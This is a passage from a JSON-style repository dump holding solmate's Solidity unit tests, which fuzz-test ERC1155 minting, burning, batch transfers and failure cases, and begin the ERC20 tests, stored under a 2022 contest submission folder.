|| to.code.length > 0) return;\n\n        token.mint(to, id, amount, mintData);\n\n        assertEq(token.balanceOf(to, id), amount);\n    }\n\n    function testMintToERC1155Recipient(\n        uint256 id,\n        uint256 amount,\n        bytes memory mintData\n    ) public {\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        token.mint(address(to), id, amount, mintData);\n\n        assertEq(token.balanceOf(address(to), id), amount);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(0));\n        assertEq(to.id(), id);\n        assertBytesEq(to.mintData(), mintData);\n    }\n\n    function testBatchMintToEOA(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        uint256 minLength = min2(ids.length, amounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[to][id];\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            normalizedIds[i] = id;\n            normalizedAmounts[i] = mintAmount;\n\n            userMintAmounts[to][id] += mintAmount;\n        }\n\n        token.batchMint(to, normalizedIds, normalizedAmounts, mintData);\n\n        for (uint256 i = 0; i < normalizedIds.length; i++) {\n            uint256 id = normalizedIds[i];\n\n            assertEq(token.balanceOf(to, id), userMintAmounts[to][id]);\n        }\n    }\n\n    function testBatchMintToERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        uint256 minLength = min2(ids.length, amounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            normalizedIds[i] = id;\n            normalizedAmounts[i] = mintAmount;\n\n            userMintAmounts[address(to)][id] += mintAmount;\n        }\n\n        token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);\n\n        assertEq(to.batchOperator(), address(this));\n        assertEq(to.batchFrom(), address(0));\n        assertUintArrayEq(to.batchIds(), normalizedIds);\n        assertUintArrayEq(to.batchAmounts(), normalizedAmounts);\n        assertBytesEq(to.batchData(), mintData);\n\n        for (uint256 i = 0; i < normalizedIds.length; i++) {\n            uint256 id = normalizedIds[i];\n\n            assertEq(token.balanceOf(address(to), id), userMintAmounts[address(to)][id]);\n        }\n    }\n\n    function testBurn(\n        address to,\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData,\n        uint256 burnAmount\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        burnAmount = bound(burnAmount, 0, mintAmount);\n\n        token.mint(to, id, mintAmount, mintData);\n\n        token.burn(to, id, burnAmount);\n\n        assertEq(token.balanceOf(address(to), id), mintAmount - burnAmount);\n    }\n\n    function testBatchBurn(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory burnAmounts,\n        bytes memory mintData\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, burnAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedBurnAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            normalizedBurnAmounts[i] = bound(burnAmounts[i], 0, normalizedMintAmounts[i]);\n\n            userMintAmounts[address(to)][id] += normalizedMintAmounts[i];\n            userTransferOrBurnAmounts[address(to)][id] += normalizedBurnAmounts[i];\n        }\n\n        token.batchMint(to, normalizedIds, normalizedMintAmounts, mintData);\n\n        token.batchBurn(to, normalizedIds, normalizedBurnAmounts);\n\n        for (uint256 i = 0; i < normalizedIds.length; i++) {\n            uint256 id = normalizedIds[i];\n\n            assertEq(token.balanceOf(to, id), userMintAmounts[to][id] - userTransferOrBurnAmounts[to][id]);\n        }\n    }\n\n    function testApproveAll(address to, bool approved) public {\n        token.setApprovalForAll(to, approved);\n\n        assertBoolEq(token.isApprovedForAll(address(this), to), approved);\n    }\n\n    function testSafeTransferFromToEOA(\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData,\n        uint256 transferAmount,\n        address to,\n        bytes memory transferData\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        ERC1155User from = new ERC1155User(token);\n\n        token.mint(address(from), id, mintAmount, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), to, id, transferAmount, transferData);\n\n        assertEq(token.balanceOf(to, id), transferAmount);\n        assertEq(token.balanceOf(address(from), id), mintAmount - transferAmount);\n    }\n\n    function testSafeTransferFromToERC1155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData,\n        uint256 transferAmount,\n        bytes memory transferData\n    ) public {\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        ERC1155User from = new ERC1155User(token);\n\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        token.mint(address(from), id, mintAmount, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(to), id, transferAmount, transferData);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(from));\n        assertEq(to.id(), id);\n        assertBytesEq(to.mintData(), transferData);\n\n        assertEq(token.balanceOf(address(to), id), transferAmount);\n        assertEq(token.balanceOf(address(from), id), mintAmount - transferAmount);\n    }\n\n    function testSafeTransferFromSelf(\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData,\n        uint256 transferAmount,\n        address to,\n        bytes memory transferData\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        token.mint(address(this), id, mintAmount, mintData);\n\n        token.safeTransferFrom(address(this), to, id, transferAmount, transferData);\n\n        assertEq(token.balanceOf(to, id), transferAmount);\n        assertEq(token.balanceOf(address(this), id), mintAmount - transferAmount);\n    }\n\n    function testSafeBatchTransferFromToEOA(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        ERC1155User from = new ERC1155User(token);\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n            userTransferOrBurnAmounts[address(from)][id] += transferAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), to, normalizedIds, normalizedTransferAmounts, transferData);\n\n        for (uint256 i = 0; i < normalizedIds.length; i++) {\n            uint256 id = normalizedIds[i];\n\n            assertEq(token.balanceOf(address(to), id), userTransferOrBurnAmounts[address(from)][id]);\n            assertEq(\n                token.balanceOf(address(from), id),\n                userMintAmounts[address(from)][id] - userTransferOrBurnAmounts[address(from)][id]\n            );\n        }\n    }\n\n    function testSafeBatchTransferFromToERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n            userTransferOrBurnAmounts[address(from)][id] += transferAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(to), normalizedIds, normalizedTransferAmounts, transferData);\n\n        assertEq(to.batchOperator(), address(this));\n        assertEq(to.batchFrom(), address(from));\n        assertUintArrayEq(to.batchIds(), normalizedIds);\n        assertUintArrayEq(to.batchAmounts(), normalizedTransferAmounts);\n        assertBytesEq(to.batchData(), transferData);\n\n        for (uint256 i = 0; i < normalizedIds.length; i++) {\n            uint256 id = normalizedIds[i];\n            uint256 transferAmount = userTransferOrBurnAmounts[address(from)][id];\n\n            assertEq(token.balanceOf(address(to), id), transferAmount);\n            assertEq(token.balanceOf(address(from), id), userMintAmounts[address(from)][id] - transferAmount);\n        }\n    }\n\n    function testBatchBalanceOf(\n        address[] memory tos,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        uint256 minLength = min3(tos.length, ids.length, amounts.length);\n\n        address[] memory normalizedTos = new address[](minLength);\n        uint256[] memory normalizedIds = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n            address to = tos[i] == address(0) ? address(0xBEEF) : tos[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[to][id];\n\n            normalizedTos[i] = to;\n            normalizedIds[i] = id;\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            token.mint(to, id, mintAmount, mintData);\n\n            userMintAmounts[to][id] += mintAmount;\n        }\n\n        uint256[] memory balances = token.balanceOfBatch(normalizedTos, normalizedIds);\n\n        for (uint256 i = 0; i < normalizedTos.length; i++) {\n            assertEq(balances[i], token.balanceOf(normalizedTos[i], normalizedIds[i]));\n        }\n    }\n\n    function testFailMintToZero(\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) public {\n        token.mint(address(0), id, amount, data);\n    }\n\n    function testFailMintToNonERC155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData\n    ) public {\n        token.mint(address(new NonERC1155Recipient()), id, mintAmount, mintData);\n    }\n\n    function testFailMintToRevertingERC155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData\n    ) public {\n        token.mint(address(new RevertingERC1155Recipient()), id, mintAmount, mintData);\n    }\n\n    function testFailMintToWrongReturnDataERC155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData\n    ) public {\n        token.mint(address(new RevertingERC1155Recipient()), id, mintAmount, mintData);\n    }\n\n    function testFailBurnInsufficientBalance(\n        address to,\n        uint256 id,\n        uint256 mintAmount,\n        uint256 burnAmount,\n        bytes memory mintData\n    ) public {\n        burnAmount = bound(burnAmount, mintAmount + 1, type(uint256).max);\n\n        token.mint(to, id, mintAmount, mintData);\n        token.burn(to, id, burnAmount);\n    }\n\n    function testFailSafeTransferFromInsufficientBalance(\n        address to,\n        uint256 id,\n        uint256 mintAmount,\n        uint256 transferAmount,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        transferAmount = bound(transferAmount, mintAmount + 1, type(uint256).max);\n\n        token.mint(address(from), id, mintAmount, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), to, id, transferAmount, transferData);\n    }\n\n    function testFailSafeTransferFromSelfInsufficientBalance(\n        address to,\n        uint256 id,\n        uint256 mintAmount,\n        uint256 transferAmount,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        transferAmount = bound(transferAmount, mintAmount + 1, type(uint256).max);\n\n        token.mint(address(this), id, mintAmount, mintData);\n        token.safeTransferFrom(address(this), to, id, transferAmount, transferData);\n    }\n\n    function testFailSafeTransferFromToZero(\n        uint256 id,\n        uint256 mintAmount,\n        uint256 transferAmount,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        token.mint(address(this), id, mintAmount, mintData);\n        token.safeTransferFrom(address(this), address(0), id, transferAmount, transferData);\n    }\n\n    function testFailSafeTransferFromToNonERC155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        uint256 transferAmount,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        token.mint(address(this), id, mintAmount, mintData);\n        token.safeTransferFrom(address(this), address(new NonERC1155Recipient()), id, transferAmount, transferData);\n    }\n\n    function testFailSafeTransferFromToRevertingERC1155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        uint256 transferAmount,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        token.mint(address(this), id, mintAmount, mintData);\n        token.safeTransferFrom(\n            address(this),\n            address(new RevertingERC1155Recipient()),\n            id,\n            transferAmount,\n            transferData\n        );\n    }\n\n    function testFailSafeTransferFromToWrongReturnDataERC1155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        uint256 transferAmount,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        token.mint(address(this), id, mintAmount, mintData);\n        token.safeTransferFrom(\n            address(this),\n            address(new WrongReturnDataERC1155Recipient()),\n            id,\n            transferAmount,\n            transferData\n        );\n    }\n\n    function testFailSafeBatchTransferInsufficientBalance(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], mintAmount + 1, type(uint256).max);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), to, normalizedIds, normalizedTransferAmounts, transferData);\n    }\n\n    function testFailSafeBatchTransferFromToZero(\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(0), normalizedIds, normalizedTransferAmounts, transferData);\n    }\n\n    function testFailSafeBatchTransferFromToNonERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(\n            address(from),\n            address(new NonERC1155Recipient()),\n            normalizedIds,\n            normalizedTransferAmounts,\n            transferData\n        );\n    }\n\n    function testFailSafeBatchTransferFromToRevertingERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(\n            address(from),\n            address(new RevertingERC1155Recipient()),\n            normalizedIds,\n            normalizedTransferAmounts,\n            transferData\n        );\n    }\n\n    function testFailSafeBatchTransferFromToWrongReturnDataERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(\n            address(from),\n            address(new WrongReturnDataERC1155Recipient()),\n            normalizedIds,\n            normalizedTransferAmounts,\n            transferData\n        );\n    }\n\n    function testFailSafeBatchTransferFromWithArrayLengthMismatch(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        if (ids.length == transferAmounts.length) revert();\n\n        token.batchMint(address(from), ids, mintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), to, ids, transferAmounts, transferData);\n    }\n\n    function testFailBatchMintToZero(\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        uint256 minLength = min2(ids.length, amounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(0)][id];\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            normalizedIds[i] = id;\n            normalizedAmounts[i] = mintAmount;\n\n            userMintAmounts[address(0)][id] += mintAmount;\n        }\n\n        token.batchMint(address(0), normalizedIds, normalizedAmounts, mintData);\n    }\n\n    function testFailBatchMintToNonERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        NonERC1155Recipient to = new NonERC1155Recipient();\n\n        uint256 minLength = min2(ids.length, amounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            normalizedIds[i] = id;\n            normalizedAmounts[i] = mintAmount;\n\n            userMintAmounts[address(to)][id] += mintAmount;\n        }\n\n        token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);\n    }\n\n    function testFailBatchMintToRevertingERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        RevertingERC1155Recipient to = new RevertingERC1155Recipient();\n\n        uint256 minLength = min2(ids.length, amounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            normalizedIds[i] = id;\n            normalizedAmounts[i] = mintAmount;\n\n            userMintAmounts[address(to)][id] += mintAmount;\n        }\n\n        token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);\n    }\n\n    function testFailBatchMintToWrongReturnDataERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        WrongReturnDataERC1155Recipient to = new WrongReturnDataERC1155Recipient();\n\n        uint256 minLength = min2(ids.length, amounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            normalizedIds[i] = id;\n            normalizedAmounts[i] = mintAmount;\n\n            userMintAmounts[address(to)][id] += mintAmount;\n        }\n\n        token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);\n    }\n\n    function testFailBatchMintWithArrayMismatch(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        if (ids.length == amounts.length) revert();\n\n        token.batchMint(address(to), ids, amounts, mintData);\n    }\n\n    function testFailBatchBurnInsufficientBalance(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory burnAmounts,\n        bytes memory mintData\n    ) public {\n        uint256 minLength = min3(ids.length, mintAmounts.length, burnAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedBurnAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[to][id];\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            normalizedBurnAmounts[i] = bound(burnAmounts[i], normalizedMintAmounts[i] + 1, type(uint256).max);\n\n            userMintAmounts[to][id] += normalizedMintAmounts[i];\n        }\n\n        token.batchMint(to, normalizedIds, normalizedMintAmounts, mintData);\n\n        token.batchBurn(to, normalizedIds, normalizedBurnAmounts);\n    }\n\n    function testFailBatchBurnWithArrayLengthMismatch(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory burnAmounts,\n        bytes memory mintData\n    ) public {\n        if (ids.length == burnAmounts.length) revert();\n\n        token.batchMint(to, ids, mintAmounts, mintData);\n\n        token.batchBurn(to, ids, burnAmounts);\n    }\n\n    function testFailBalanceOfBatchWithArrayMismatch(address[] memory tos, uint256[] memory ids) public view {\n        if (tos.length == ids.length) revert();\n\n        token.balanceOfBatch(tos, ids);\n    }\n\n    function onERC1155Received(\n        address,\n        address,\n        uint256,\n        uint256,\n        bytes calldata\n    ) public pure override returns (bytes4) {\n        return ERC1155TokenReceiver.onERC1155Received.selector;\n    }\n\n    function onERC1155BatchReceived(\n        address,\n        address,\n        uint256[] calldata,\n        uint256[] calldata,\n        bytes calldata\n    ) external pure override returns (bytes4) {\n        return ERC1155TokenReceiver.onERC1155BatchReceived.selector;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/ERC20.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {DSInvariantTest} from \"./utils/DSInvariantTest.sol\";\n\nimport {MockERC20} from \"./utils/mocks/MockERC20.sol\";\nimport {ERC20User} from \"./utils/users/ERC20User.sol\";\n\ncontract ERC20Test is DSTestPlus {\n    MockERC20 token;\n\n    function setUp() public {\n        token = new MockERC20(\"Token\", \"TKN\", 18);\n    }\n\n    function invariantMetadata() public {\n        assertEq(token.name(), \"Token\");\n        assertEq(token.symbol(), \"TKN\");\n        assertEq(token.decimals(), 18);\n    }\n\n    function testMetaData() public {\n        assertEq(token.name(), \"Token\");\n        assertEq(token.symbol(), \"TKN\");\n        assertEq(token.decimals(), 18);\n    }\n\n    function testMint() public {\n        token.mint(address(0xBEEF), 1e18);\n\n        assertEq(token.totalSupply(), 1e18);\n        assertEq(token.balanceOf(address(0xBEEF)), 1e18);\n    }\n\n    function testBurn() public {\n        token.mint(address(0xBEEF), 1e18);\n        token.burn(address(0xBEEF), 0.9e18);\n\n        assertEq(token.totalSupply(), 1e18 - 0.9e18);\n        assertEq(token.balanceOf(address(0xBEEF)), 0.1e18);\n    }\n\n    function testApprove() public {\n        assertTrue(token.approve(address(0xBEEF), 1e18));\n\n        assertEq(token.allowance(address(this), address(0xBEEF)), 1e18);\n    }\n\n    function testTransfer() public {\n        token.mint(address(this), 1e18);\n\n        assertTrue(token.transfer(address(0xBEEF), 1e18));\n        assertEq(token.totalSupply(), 1e18);\n\n        assertEq(token.balanceOf(address(this)), 0);\n        assertEq(token.balanceOf(address(0xBEEF)), 1e18);\n    }\n\n    function testTransferFrom() public {\n        ERC20User from = new ERC20User(token);\n\n        token.mint(address(from), 1e18);\n\n        from.approve(address(this), 1e18);\n\n        assertTrue(token.transferFrom(address(from), address(0xBEEF), 1e18));\n        assertEq(token.totalSupply(), 1e18);\n\n        